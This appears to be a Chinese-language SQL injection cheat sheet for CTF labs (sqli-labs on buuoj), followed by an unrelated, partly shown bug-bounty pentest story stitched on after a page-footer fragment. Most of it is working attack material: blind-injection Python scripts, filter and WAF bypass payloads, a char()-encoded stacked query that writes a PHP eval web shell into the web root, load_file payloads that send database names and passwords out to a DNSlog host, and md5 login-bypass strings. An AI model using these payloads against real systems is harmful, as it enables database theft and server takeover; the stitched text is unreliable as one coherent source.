url = "http://b8e2048e-3513-42ad-868d-44dbb1fba5ac.node3.buuoj.cn/Less-8/?id=' or ascii(substr((select database()),{0},1)) in({1})--+".format(i,j)
r = requests.get(url=url)
if "You are in" in r.text:
flag += chr(j)
print(flag)
##### LIKE 注入
在LIKE子句中，百分比(%)通配符允许 **匹配任何字符串的零个或多个字符** 。下划线 `_` 通配符允许 **匹配任何单个字符** 。
**匹配成功则返回1，反之返回0** ，可用于sql盲注。
1. 判断数据库长度
可用length()函数，也可用`_`，如：
/?id=' or database() like '________'--+ // 回显正常
1. 判断数据库名
/?id=' or database() like 's%' --+
/?id=' or (select database()) like 's%' --+
或者:
/?id=' or database() like 's_______' --+
/?id=' or (select database()) like 's_______' --+
如上图所示，回显正常，说明数据库名的第一个字符是s。
综上所述，很明显和普通的布尔盲注差不多，于是写个GET的二分法盲注脚本：
import requests
import string
# strs = string.printable
strs = string.ascii_letters + string.digits + '_'
url = "http://b8e2048e-3513-42ad-868d-44dbb1fba5ac.node3.buuoj.cn/Less-8/?id="
payload = "' or (select database()) like '{}%'--+"
if __name__ == "__main__":
name = ''
for i in range(1, 40):
char = ''
for j in strs:
payloads = payload.format(name + j)
urls = url + payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j, end='')
char = j
break
if char == '#':
break
##### REGEXP 注入
REGEXP注入，即regexp正则表达式注入。REGEXP注入，又叫盲注值正则表达式攻击。应用场景就是盲注，原理是直接查询自己需要的数据，然后通过正则表达式进行匹配。
1. 判断数据库长度
/?id=' or (length(database())) regexp 8 --+ // 回显正常
1. 判断数据库名
/?id=' or database() regexp '^s'--+ // 回显正常
/?id=' or database() regexp 'se'--+ // 回显正常, 不适用^和$进行匹配也可以
/?id=' or database() regexp '^sa'--+ // 报错
/?id=' or database() regexp 'y$'--+ // 回显正常
脚本：
import requests
import string
# strs = string.printable
strs = string.ascii_letters + string.digits + '_'
url = "http://b8e2048e-3513-42ad-868d-44dbb1fba5ac.node3.buuoj.cn/Less-8/?id="
payload = "' or (select database()) regexp '^{}'--+"
if __name__ == "__main__":
name = ''
for i in range(1, 40):
char = ''
for j in strs:
payloads = payload.format(name + j)
urls = url + payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j, end='')
char = j
break
if char == '#':
break
以上脚本都要注意是掌握编写思路，不是干抄脚本。
#### 过滤引号绕过
##### 宽字节注入
###### 前置知识
**magic_quotes_gpc** （魔术引号开关）
`magic_quotes_gpc`函数在php中的作用是判断解析用户提交的数据，如包括有：post、get、cookie过来的数据增加转义字符“\”，以确保这些数据不会引起程序，特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
单引号（’）、双引号（”）、反斜线（\）等字符都会被加上反斜线，我们输入的东西如果不能闭合，那我们的输入就不会当作代码执行，就无法产生SQL注入。
**addslashes()函数**
返回在预定义字符之前添加反斜杠的字符串
> 预定义字符：单引号（'），双引号（"），反斜杠（\），NULL
###### 宽字节概念：
1. 单字节字符集：所有的字符都使用一个字节来表示，比如 ASCII 编码(0-127)
2. 多字节字符集：在多字节字符集中，一部分字节用多个字节来表示，另一部分（可能没有）用单个字节来表示。
3. UTF-8 编码： 是一种编码的编码方式（多字节编码），它可以使用1~4个字节表示一个符号，根据不同的符号而变化字节长度。
4. 常见的宽字节： GB2312、GBK、GB18030、BIG5、Shift_JIS GB2312 不存在宽字节注入，可以收集存在宽字节注入的编码。
5. 宽字节注入时利用mysql的一个特性，使用GBK编码的时候，会认为两个字符是一个汉字
###### 成因与示例
前面讲到了GBK编码格式。GBK是双字符编码，那么为什么他们会和渗透测试发送了“巧遇”呢？
**宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入。**
例如说MySql的编码设置为了SET NAMES 'gbk'或是 SET character_set_client
=gbk，这样配置会引发编码转换从而导致的注入漏洞。
**宽字节SQL注入的根本原因:**
**宽字节SQL注入就是PHP发送请求到MySql时使用了语句**
**SET NAMES 'gbk' 或是SET character_set_client =gbk
进行了一次编码，但是又由于一些不经意的字符集转换导致了宽字节注入。**
**magic_quotes_gpc的作用：当PHP的传参中有特殊字符就会在前面加转义字符'\',来做一定的过滤**
为了绕过magic_quotes_gpc的\,于是乎我们开始导入宽字节的概念
我们发现\的编码是%5c，然后我们会想到传参一个字符想办法凑成一个gbk字符,例如：‘運’字是%df%5c
SELECT * FROM users WHERE id='1\'' LIMIT 0,1
这条语句因为\使我们无法去注入，那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運，然后成功绕过
SELECT * FROM users WHERE id='1�\'#' LIMIT 0,1
###### 虽然是写在了过滤引号的位置但是其实不止适用于过滤引号
##### 使用反斜杠 \ 逃逸 Sql 语句
如果没有过滤反斜杠的话，我们可以使用反斜杠将后面的引号转义，从而逃逸后面的 Sql 语句。
假设sql语句为：
select username, password from users where username='$username' and password='$password';
假设输入的用户名是 `admin\`，密码输入的是 `or 1#` 整个SQL语句变成了
select username,password from users where username='admin\' and password=' or 1#'
由于单引号被转义，`and password=`这部分都成了username的一部分，即
username='admin\' and password='
这样 `or 1` 就逃逸出来了，由此可控，可作为注入点了。
#### 堆叠注入时利用 MySql 预处理
在遇到堆叠注入时，如果select、rename、alter和handler等语句都被过滤的话，我们可以用 **MySql预处理语句配合concat拼接**
来执行sql语句拿flag。
1. PREPARE：准备一条SQL语句，并分配给这条SQL语句一个名字(`hello`)供之后调用
2. EXECUTE：执行命令
3. DEALLOCATE PREPARE：释放命令
4. SET：用于设置变量(`@a`)
1';sEt @a=concat("sel","ect flag from flag_here");PRepare hello from @a;execute hello;#
这里还用大小写简单绕了一下其他过滤
##### MySql 预处理配合十六进制绕过关键字
基本原理如下：
mysql> select hex('show databases');
+------------------------------+
| hex('show databases;') |
+------------------------------+
| 73686F7720646174616261736573 |
+------------------------------+
1 row in set (0.01 sec)
mysql> set @b=0x73686F7720646174616261736573;
Query OK, 0 rows affected (0.01 sec)
mysql> prepare test from @b;
Query OK, 0 rows affected (0.02 sec)
Statement prepared
mysql> execute test;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
6 rows in set (0.02 sec)
即payload类似如下：
1';sEt @a=0x73686F7720646174616261736573;PRepare hello from @a;execute hello;#
##### MySql预处理配合字符串拼接绕过关键字
原理就是借助`char()`函数将ascii码转化为字符然后再使用`concat()`函数将字符连接起来，有了前面的基础这里应该很好理解了：
set @sql=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(39),char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(119),char(104),char(111),char(97),char(109),char(105),char(93),char(41),char(59),char(63),char(62),char(39),char(32),char(105),char(110),char(116),char(111),char(32),char(111),char(117),char(116),char(102),char(105),char(108),char(101),char(32),char(39),char(47),char(118),char(97),char(114),char(47),char(119),char(119),char(119),char(47),char(104),char(116),char(109),char(108),char(47),char(102),char(97),char(118),char(105),char(99),char(111),char(110),char(47),char(115),char(104),char(101),char(108),char(108),char(46),char(112),char(104),char(112),char(39),char(59));prepare s1 from @sql;execute s1;
也可以不用concat函数，直接用char函数也具有连接功能：
set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,119,104,111,97,109,105,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare s1 from @sql;execute s1;
#### 过滤逗号绕过
当逗号被过滤了之后，我们便不能向下面这样正常的时候substr()函数和limit语句了：
select substr((select database()),1,1);
select * from users limit 0,1;
##### 使用from...for...绕过
我们可以使用 `from...for..` 语句替换 substr() 函数里的 `,1,1`：
select substr((select database()) from 1 for 1);
# 此时 from 1 for 1 中的两个1分别代替 substr() 函数里的两个1
select substr((select database()) from 1 for 1); # s
select substr((select database()) from 2 for 1); # e
select substr((select database()) from 3 for 1); # c
select substr((select database()) from 4 for 1); # u
select substr((select database()) from 5 for 1); # r
select substr((select database()) from 6 for 1); # i
select substr((select database()) from 7 for 1); # t
select substr((select database()) from 8 for 1); # y
# 如果过滤了空格, 则可以使用括号来代替空格:
select substr((select database())from(1)for(1)); # s
select substr((select database())from(2)for(1)); # e
select substr((select database())from(3)for(1)); # c
select substr((select database())from(4)for(1)); # u
select substr((select database())from(5)for(1)); # r
select substr((select database())from(6)for(1)); # i
select substr((select database())from(7)for(1)); # t
select substr((select database())from(8)for(1)); # y
即，from用来指定从何处开始截取，for用来指定截取的长度，如果不加for的话则 `from 1` 就相当于从字符串的第一位一直截取到最后：
select substr((select database()) from 1); # security
select substr((select database()) from 2); # ecurity
select substr((select database()) from 3); # curity
select substr((select database()) from 4); # urity
select substr((select database()) from 5); # rity
select substr((select database()) from 6); # ity
select substr((select database()) from 7); # ty
select substr((select database()) from 8); # y
# 也可以使用负数来倒着截取:
select substr((select database())from(-1)); # y
select substr((select database())from(-2)); # ty
select substr((select database())from(-3)); # ity
select substr((select database())from(-4)); # rity
select substr((select database())from(-5)); # urity
select substr((select database())from(-6)); # curity
select substr((select database())from(-7)); # ecurity
select substr((select database())from(-8)); # security
##### 使用offset关键字绕过
我们可以使用 `offset` 语句替换 limit 语句里的逗号：
select * from users limit 1 offset 2;
# 此时 limit 1 offset 2 可以代替 limit 1,2
##### 利用join与别名绕过
select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`join(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b));
#### 过滤information_schema绕过与无列名注入 *
当过滤or时，这个库就会被过滤，那么mysql在被waf禁掉了information_schema库后还能有哪些利用思路呢？
information_schema
简单来说，这个库在mysql中就是个信息数据库，它保存着mysql服务器所维护的所有其他数据库的信息，包括了数据库名，表名，字段名等。在注入中，infromation_schema库的作用无非就是可以获取到table_schema、table_name、column_name这些数据库内的信息。
能够代替information_schema的有：
* sys.schema_auto_increment_columns 只显示有自增的表
* sys.schema_table_statistics_with_buffer
* x$schema_table_statistics_with_buffer
select * from user where id = -1 union all select 1,2,3,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();
* mysql.innodb_table_stats
* mysql.innodb_table_index
以上大部分特殊数据库都是在 mysql5.7 以后的版本才有，并且要访问sys数据库需要有相应的权限。
但是在使用上面的后两个表来获取表名之后`select group_concat(table_name) from
mysql.innodb_table_stats`，我们是没有办法获得列的，这个时候就要采用无列名注入的办法。
#### 无列名注入
##### 123法
我们可以利用一些查询上的技巧来进行无列名、表名的注入。
在我们直接`select 1,2,3`时，会创建一个虚拟的表
如图所见列名会被定义为1，2，3
当我们结合了union联合查询之后
如图，我们的列名被替换为了对应的数字。也就是说，我们可以继续数字来对应列，如 3 对应了表里面的
password，进而我们就可以构造这样的查询语句来查询password：
select `3` from (select 1,2,3 union select * from users)a;
末尾的 a 可以是任意字符，用于命名
当然，多数情况下，反引号会被过滤。当反引号不能使用的时候，可以使用别名来代替：
select b from (select 1,2,3 as b union select * from admin)a;
##### join
我们可以利用爆错，借助join和using爆出列名，id为第一列，username为第二列，可以逐个爆出，爆出全部列名之后即可得到列内数据。
#### 过滤其他关键字绕过
##### 过滤 if 语句绕过
如果过滤了 if 关键字的话，我们可以使用case when语句绕过：
if(condition,1,0) <=> case when condition then 1 else 0 end
下面的if语句和case when语句是等效的：
0' or if((ascii(substr((select database()),1,1))>97),1,0)#
0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#
#### 过滤 substr 绕过
##### 使用 lpad/lpad
* 使用lpad()和rpad()绕过substr()
select lpad((select database()),1,1) // s
select lpad((select database()),2,1) // se
select lpad((select database()),3,1) // sec
select lpad((select database()),4,1) // secu
select lpad((select database()),5,1) // secur
select lpad((select database()),6,1) // securi
select lpad((select database()),7,1) // securit
select lpad((select database()),8,1) // security
select rpad((select database()),1,1) // s
select rpad((select database()),2,1) // se
select rpad((select database()),3,1) // sec
select rpad((select database()),4,1) // secu
select rpad((select database()),5,1) // secur
select rpad((select database()),6,1) // securi
select rpad((select database()),7,1) // securit
select rpad((select database()),8,1) // security
lpad：函数语法：`lpad(str1,length,str2)`。其中str1是第一个字符串，length是结果字符串的长度，str2是一个填充字符串。如果str1的长度没有length那么长，则使用str2填充；如果str1的长度大于length，则截断。
rpad：同理
* 使用left()绕过substr()
select left((select database()),1) // s
select left((select database()),2) // se
select left((select database()),3) // sec
select left((select database()),4) // secu
select left((select database()),5) // secur
select left((select database()),6) // securi
select left((select database()),7) // securit
select left((select database()),8) // security
* 使用mid()绕过substr()
mid()函数的使用就和substr()函数一样了：
select mid((select database()),1,1) // s
select mid((select database()),2,1) // e
select mid((select database()),3,1) // c
select mid((select database()),4,1) // u
select mid((select database()),5,1) // r
......
* 还可以使用下面这个神奇的东西绕过
select insert(insert((select database()),1,0,space(0)),2,222,space(0)); // s
select insert(insert((select database()),1,1,space(0)),2,222,space(0)); // e
select insert(insert((select database()),1,2,space(0)),2,222,space(0)); // c
select insert(insert((select database()),1,3,space(0)),2,222,space(0)); // u
select insert(insert((select database()),1,4,space(0)),2,222,space(0)); // r
select insert(insert((select database()),1,5,space(0)),2,222,space(0)); // i
select insert(insert((select database()),1,6,space(0)),2,222,space(0)); // t
......
INSERT( _string_ , _position_ , _number_ , _string2_ )
INSERT()函数在指定位置的字符串中插入一个字符串，并插入一定数量的字符。
参数 | 描述
---|---
_string_ | 必须项。要修改的字符串
_position_ | 必须项。插入 _string2_ 的位置
_number_ | 必须项。要替换的字符数
_string2_ | 必须项。要插入 _字符串的字符串_
#### HTTP参数污染(HPP)漏洞绕过 Waf
HPP是HTTP Parameter
Pollution的缩写，意为HTTP参数污染。浏览器在跟服务器进行交互的过程中，浏览器往往会在GET或POST请求里面带上参数，这些参数会以 键-值
对的形势出现，通常在一个请求中，同样名称的参数只会出现一次。
但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接：`http://www.baidu.com?name=aa&name=bb`，针对同样名称的参数出现多次的情况，不同的服务器的处理方式会不一样。有的服务器是取第一个参数，也就是
`name=aa`。有的服务器是取第二个参数，也就是 `name=bb`。有的服务器两个参数都取，也就是
`name=aa,bb`。这种特性在绕过一些服务器端的逻辑判断时，非常有用。
HPP漏洞，与Web服务器环境、服务端使用的脚本有关。如下是不同类型的Web服务器对于出现多个参数时的选择：
**Web 服务器** | **参数获取函数** | **获取到的参数**
---|---|---
**PHP/Apache** | $_GET['a'] | Last
**JSP/Tomcat** | Request.getParameter('a') | First
**Perl(CGI)/Apache** | Param('a') | First
**Python/Apache** | getvalue('a') | All
**ASP/IIS** | Request.QueryString('a') | All
假设服务器端有两个部分：第一部分是Tomcat为引擎的JSP/Tomcat型服务器，第二部分是Apache为引擎的PHP/Apache型服务器。第一部分的JSP/Tomcat服务器处做数据过滤和处理，功能类似为一个WAF，而真正提供Web服务的是PHP/Apache服务器。那么服务端的工作流程为：客户端访问服务器，能直接访问到JSP/Tomcat服务器，然后JSP/Tomcat服务器再向PHP/Apache服务器请求数据。数据返回路径则相反。
那么此时我们便可以利用不同服务器解析参数的位置不同绕过WAF的检测。来看看如下请求：
index.jsp?id=1&id=2
客户端请求首先过JSP/Tomcat服务器，JSP/Tomcat服务器解析第一个参数，接下来JSP/Tomcat服务器去请求PHP/Apache服务器，PHP/Apache服务器解析最后一个参数。假设JSP/Tomcat服务器作为Waf对第一个参数进行检测，那我们便可以在第二个参数中传payload来绕过Waf。如下所示：
/index.jsp?id=1&id=-1' union select 1,database(),3--+
这样 Waf 可能只检测第一个参数 `id=1`，而PHP脚本真正识别的是 `id=select database()--+`
[例题]Sql-Labs Less-29
#### False 注入绕过
##### False 注入原理
前面我们学过的注入都是基于1=1这样比较的普通注入，下面来说一说 False 注入，利用 False 我们可以绕过一些特定的 WAF
以及一些未来不确定的因素。
首先我们来看一看下面这个sql查询语句：
select * from user where uesrname = 0;
为什么 `username = 0` 会导致返回数据，而且是全部数据呢？
这就是一个基于 False 注入的例子，下面再举一个例子：
select * from user where username = 0;
和上面是同一个表，但是为什么这里只返回了两组数据呢？说到这里不得不说一说有关于 MYSQL 的隐式类型转换。
MYSQL
的隐式类型转换，即当字符串和数字比较时，会把字符串转为浮点数，而字符串转换为浮点数很明显会转换失败，这时就会产生一个warning，转换的结果为0，然后`0
= 0` 返回的是 `True`
，这样就将表中的数据全部返回了。但如果字符串开头是数字话还是会从数字部分截断，转换为数字进行比较，在第二个例子中，passwd
字段中有一个值是以数字1开头的并非为0，再进行 `passwd = 0` 比较时，会从1开始截断，`1 = 0` 不成立，当然就只返回两条数据了。这就是
MYSQL False 注入的原理。
##### False 注入利用
下面我们讲讲 False 注入如何利用，及如何构造 False 注入的利用点。在实际中我们接触到的语句都是带有引号的，如下：
select * from user where username ='.$username.';
在这种情况下，我们如何绕过引号构造出 0 这个值呢，我们需要做一些处理来构造false注入的 **利用点** ？
可以使用的姿势有很多，比如下面的算数运算：
* 利用算数运算
加：+
插入'+', 拼接的语句: select * from user where username =''+'';
减：-
插入'-', 拼接的语句: select * from user where username =''-'';
乘：*
插入'*', 拼接的语句: select * from user where username =''*'';
除：/
插入'/6#, 拼接的语句: select * from user where username =''/6#';
取余：%
插入'%1#, 拼接的语句: select * from user where username =''%1#';
* 利用位操作运算
我们还可以使用当字符串和数字运算的时候类型转换的问题进行利用。
和运算：&
插入'&0#, 拼接的语句: select * from user where username =''&0#';
或运算：|
插入'|0#, 拼接的语句: select * from user where username =''|0#';
异或运算：^
插入'^0#, 拼接的语句: select * from user where username =''^0#';
移位操作：
插入'<<0# 或 '>>0#, 拼接的语句:
select * from user where username =''<<0#';
select * from user where username =''>>0#';
* 利用比较运算符
安全等于：<=>
'=0<=>1# 拼接的语句：where username=''=0<=>1#'
不等于<>(!=)
'=0<>0# 拼接的语句：where username=''=0<>0#'
大小于>或<
'>-1# 拼接的语句：where username=''>-1#
* 其他
'+1 is not null# 'in(-1,1)# 'not in(1,0)# 'like 1# 'REGEXP 1# 'BETWEEN 1 AND 1# 'div 1# 'xor 1# '=round(0,1)='1 '<>ifnull(1,2)='1
##### 综合利用
false注入这种注入方式有的优势就是， **在某些特定时候可以绕过WAF或者是一些其他的绕过** 。
这里举例一道题
<?php
include("config.php");
$conn ->query("set names utf8");
function randStr($lenth=32){
$strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
$str = "";
while($lenth>0){
$str.=substr($strBase,rand(0,strlen($strBase)-1),1);
$lenth --;
}
return $str;
}
if($install){
$sql = "create table `user` ( `id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT , `username` varchar(30) NOT NULL, `passwd` varchar(32) NOT NULL, `role` varchar(30) NOT NULL )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
if($conn->query($sql)){
$sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";
$conn -> query($sql);
}
}
function filter($str){
$filter = "/ |*|#|;|,|is|union|like|regexp|for|and|or|file|--|||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
if(preg_match($filter,$str)){
die("you can't input this illegal char!");
}
return $str;
}
function show($username){
global $conn;
$sql = "select role from `user` where username ='".$username."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
echo "$username is ".$res->fetch_assoc()['role'];
}else{
die("Don't have this user!");
}
}
function login($username,$passwd){
global $conn;
global $flag;
$username = trim(strtolower($username));
$passwd = trim(strtolower($passwd));
if($username == 'admin'){
die("you can't login this as admin!");
}
$sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
if($res->fetch_assoc()['role'] === 'admin') exit($flag);
}else{
echo "sorry,username or passwd error!";
}
}
function source(){
highlight_file(__FILE__);
}
$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";
$action = isset($_GET['action'])?filter($_GET['action']):"source";
switch($action){
case "source": source(); break ;
case "login" : login($username,$passwd);break;
case "show" : show($username);break;
}
我们注意到`filter()`函数
$filter = "/ |*|#|;|,|is|union|like|regexp|for|and|or|file|--|||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
这里看起来过滤的比较多，其中and，or还有&，|都被过滤了，这个时候就可以利用 **false进行盲注** 。
可以在show函数利用查询的时候注入，
username = "admin'^!(mid((passwd)from(-{pos}))='{passwd}')='1"
这里官方给出的就是利用异或，其实这里并不需要 admin 只要是一串字符串就可以
异或会使字符串都转为浮点型，都变为了0，由于`0=0^0 -> 1^0 -> 1`
当然对于这个题并不一定利用这个，直接截取字符串作比较就可以，但是这里只是提供一种姿势，由于mysql的灵活，其花样也比较多还有就是构造的payload比较简短，例如'`+`'、'`^`'、'`/4#`'
这样只有三个字符便可以绕过登录，简单粗暴，还有就是类似的文章不多，许多开发人员容易忽视这些细节。
##### 盲注脚本
import requests
flag = ''
for i in range(1,33):
for str in "abcdefghijklmnopkrstuvwxyz":
url = "http://cc248a80-6376-49cf-b846-16c188eeb1fc.node3.buuoj.cn/Less-8/?id='^(mid((select database())from(-{0}))='{1}')='1".format(i,str+flag)
res = requests.get(url=url)
if "You are in..........." in res.text:
flag = str+flag
print(flag)
#### DNS注入
##### 原理
通过子查询，将内容拼接到域名内，让load_file()去访问共享文件，访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件，通过拼接出函数做查询,拼接到域名中，访问时将访问服务器，记录后查看日志。
在无法直接利用的情况下，但是可以通过DNS请求,通过DNSlog，把数据外带，用DNS解析记录查看。
##### LOAD_FILE() 读取文件的函数
> 读取文件并返回文件内容为字符串。
>
>
> 要使用此函数，文件必须位于服务器主机上，必须指定完整路径的文件，而且必须有FILE权限。该文件所有字节可读，但文件内容必须小于max_allowed_packet（限制server接受的数据包大小函数，默认1MB）。
> 如果该文件不存在或无法读取，因为前面的条件之一不满足，函数返回 NULL。
**注：这个功能不是默认开启的，需要在mysql配置文件加一句 secure_file_priv=**
##### DNSLOG平台:
> <https://dns.xn--9tr.com/>
>
> <https://log.xn--9tr.com/>
##### UNC路径
> UNC路径通用命名规则，也称通用命名规范、通用命名约定，类似\softer这样的形式的网络路径。
UNC路径的 **格式** ： **\server\sharename\directory\filename**
等同于 **SELECT LOAD_FILE('//库名.1806dl.dnslog.cn/abc'**
去访问 库名.1806dl.dnslog.cn 的服务器下的共享文件夹abc。
然后1806dl.dnslog.cn的子域名的解析都是在某台服务器，然后他记录下来了有人请求访问了error.1806dl.dnslog.cn，然后在DnsLog这个平台上面显示出来了
payload示例：
?id=1 and load_file(concat('//', database(),'.htleyd.dnslog.cn/abc'))
?id=1 and load_file(concat('//', (select table_name from information_schema.tables where table_schema=database() limit 0,1 ),'.htleyd.dnslog.cn/abc'))
?id=1 and load_file(concat('//',(select column_name from information_schema.columns where table_name=’admin’ and table_schema=database() limit 2,1),'.htleyd.dnslog.cn/abc'))
?id=1 and load_file(concat('//',(select password from admin limit 0,1),'.htleyd.dnslog.cn/abc'))
#### '".md5($pass,true)."' 登录绕过
很多站点为了安全都会利用这样的语句：
SELECT * FROM users WHERE password = '.md5($password,true).';
`md5(string,true)` 函数在指定了true的时候，是返回的原始 16
字符二进制格式，也就是说会返回这样子的字符串：`'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c`：
这不是普通的二进制字符串，而是 `'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c` 这种，这样的话就会和前面的形成闭合，构成万能密码。
SELECT * FROM users WHERE password = ''or'6.......'
这就是永真的了，这就是一个万能密码了相当于 `1' or 1=1#` 或 `1' or 1#`。
> 但是我们思考一下为什么 6\xc9]\x99\xe9!r,\xf9\xedb\x1c 的布尔值是true呢？
>
> 在mysql里面，在用作布尔型判断时，以1开头的字符串会被当做整型数（这类似于PHP的弱类型）。要注意的是这种情况是必须要有单引号括起来的，比如
> password=‘xxx’ or ‘1xxxxxxxxx’，那么就相当于password=‘xxx’ or 1 ，也就相当于
> password=‘xxx’ or
> true，所以返回值就是true。这里不只是1开头，只要是数字开头都是可以的。当然如果只有数字的话，就不需要单引号，比如 password=‘xxx’
> or 1，那么返回值也是 true。（xxx指代任意字符）
接下来就是找到这样子的字符串，这里给出两个吧。
ffifdyop：
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
129581926211651571912466741651878684928：
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8
参考自：WHOAMI的总结
[https://blog.csdn.net/lixiangminghate/article/details](https://blog.csdn.net/lixiangminghate/article/details/80466257)
<https://blog.csdn.net/weixin_38842821/article/details/108359551>
<https://www.w3school.com.cn/sql/sql_syntax.asp>
<https://www.cnblogs.com/yunen/p/12340072.html>
<https://www.freebuf.com/articles/network/282252.html>
<https://www.freebuf.com/vuls/271416.html>
<https://www.freebuf.com/articles/web/287519.html>
<https://www.anquanke.com/post/id/86021>
<https://zhuanlan.zhihu.com/p/98206699>
<https://www.anquanke.com/post/id/193512>
<http://www.manongjc.com/detail/17-hpzacxwkbayisvj.html> | 社区文章 |
作者是一名专职的漏洞赏金猎人，与中东和北非地区的一家安全服务提供商签订了“信息安全分析师”合同。
今天我将与您分享一个非常激动人心的故事，讲述我在与上述公司的最新合作中发现的一些发现。
注意：这些漏洞是在未公开的约定中发现的，因此我们将其称为`redacted.gov.lol`
## 背景：
我像往常一样通过打开邮件开始工作，结果发现我将负责为关键的外国客户进行“黑匣子Web渗透测试”。
每次会议开始后召开例行会议并按惯例进行。我收到的范围只有一个URL，以为我可以找到一个注册功能，重设密码功能或其他功能，以便更轻松地访问应用程序以进行渗透测试。
实际上，在验证过程中，这只是带有验证码的登录页面，除了登录功能之外没有其他功能。
此外，由于验证码会在单击“登录”后弹出（试图绕过验证并失败），并且由于缺乏有关用户名的构造的知识（是否有特殊字符？仅数字，仅字母…等等等等），因此无法暴力破解。
然后试图目录扫描，看看能不能扫到一些有趣的东西。
幸运的是，我找到了tomcat目录。
## 第一次尝试
首先映入我脑海的是尝试登录`/html/manager/`，但不幸的是，它已通过基本身份验证进行了保护。
好吧，我使用最知名的Tomcat（用户/密码）字典，尝试结合Metasploit的`tomcat_mgr_login`模块进行暴力破解，但幸运女神没有眷顾到我。
经过深入探查，发现一个“Improper Error
Handling（不合理的错误处理）”页面暴露了Tomcat的版本，我试图利用该版本的某些CVE，但遗憾的是依然无果。
下一步是使用错误凭证登录，以查看该网站是如何处理该凭据的，并且从响应的cookie中，我能够确定他们正在使用F5 BigIP。
## 各种尝试
毫无疑问，我开始使用新公开的远程代码执行（RCE）尝试渗透他们的BigIP。
但依旧不行。（怀疑人生中）
在对F5
BigIP及其流行的错误配置进行了一些研究之后，尝试了一些BigIP已知的错误配置，但尝试了所有内部信息披露（池名称，负载平衡cookie，后端IP），都无功而返。
由于非常失望，我关闭了笔记本电脑，去和我的伙计们玩LOL去了。
第二天，我喝了一杯mojito，决定换个思路。
## 再次启航
我再次重复了侦察步骤，重新扫了一遍目录，但用的字典更大，这次我发现了3个新的HTML页面。
• 第一个是空白页。
• 第二个页面就像是无限重定向到其自身的循环。
• 第三个是重复的登录页面。
我开始阅读这些页面的源代码，在第三个页面忽然找到了一个线索，原因：它的行数多于原始登录页面。
因此，我开始仔细研究这两个代码行，令人惊讶的是，后者中还有一些其他的JS文件。
## 深入了解HTML/JS代码
这些HTML、JS文件包含多个url页面，但是需要进行身份验证以及诸如（请求方法，源url，内容类型等）等信息才能访问。
将这些url提取出来，并根据此信息为每个url构建了完整的请求，留作后用。
## 硬编码：
然后发现了一个JS文件，它包含一个指向HTML页面的链接，查看源代码发现了另一个请求，该请求与早期发现的请求相类似。
在此请求的数据段，设置了一个名为`User-Token`的参数。
那时，我几乎可以肯定就可以搞定。
## 令牌分析
我试图在我之前保存的每个请求中添加这个弥足珍贵的`User-Token`值…
然后，等灯瞪噔，进去了。
但是，美中不足是无法纵览整个应用，因为没有GUI界面，只有API调用。
将令牌添加到之前保存的请求列表中，然后发送，然后收集每条响应，然后在收集到的JS文件中提取出更多的url和参数，然后再添加倒请求列表中，然后再发送。（重复此操作约20次）
最终……我发现了一个带有HTML响应的奇怪请求，它的设计目的是在某种菜单栏上添加一个图标（老实说，我不知道它的用途是什么………）
往下跟踪。
从提供的列表中选择一个图标，然后单击“继续”，然后选择要编辑的菜单，然后完成整个流程，并通过“返回主页面”按钮到达最后一页。
点击该按钮后，重定向到了登录页面。
但是忘记添加`user-token`，苦笑.jpg，所以被逼无奈，重复了此步骤，将该令牌添加了进去。
嚯嚯嚯嚯嚯嚯哈，访问到的页面有一个自定义“命令执行”功能。
我尝试了所有我知道的命令，但都被过滤了，所以意识到这不是一个bug，而只是一个功能而已。
我尝试了命令“ tree”（在之前的JS文件中注意到的），结果，目瞪口呆，整个网站url及其说明信息都打印了出来。
但是查看之后，发现并没有什么用，所以我决定只搜索有用的url。
## 重大发现
经过一番收集，发现一些新的url，描述为：“Admin Console”。
我尝试使用令牌访问它们，但“访问被拒绝”……那时的我才发现，自己还不是管理员……所以回头查看所有的url。
我发现一个url允许查看个人资料的信息（例如姓名，角色，创建日期等），然后发现我是特权较低的用户。
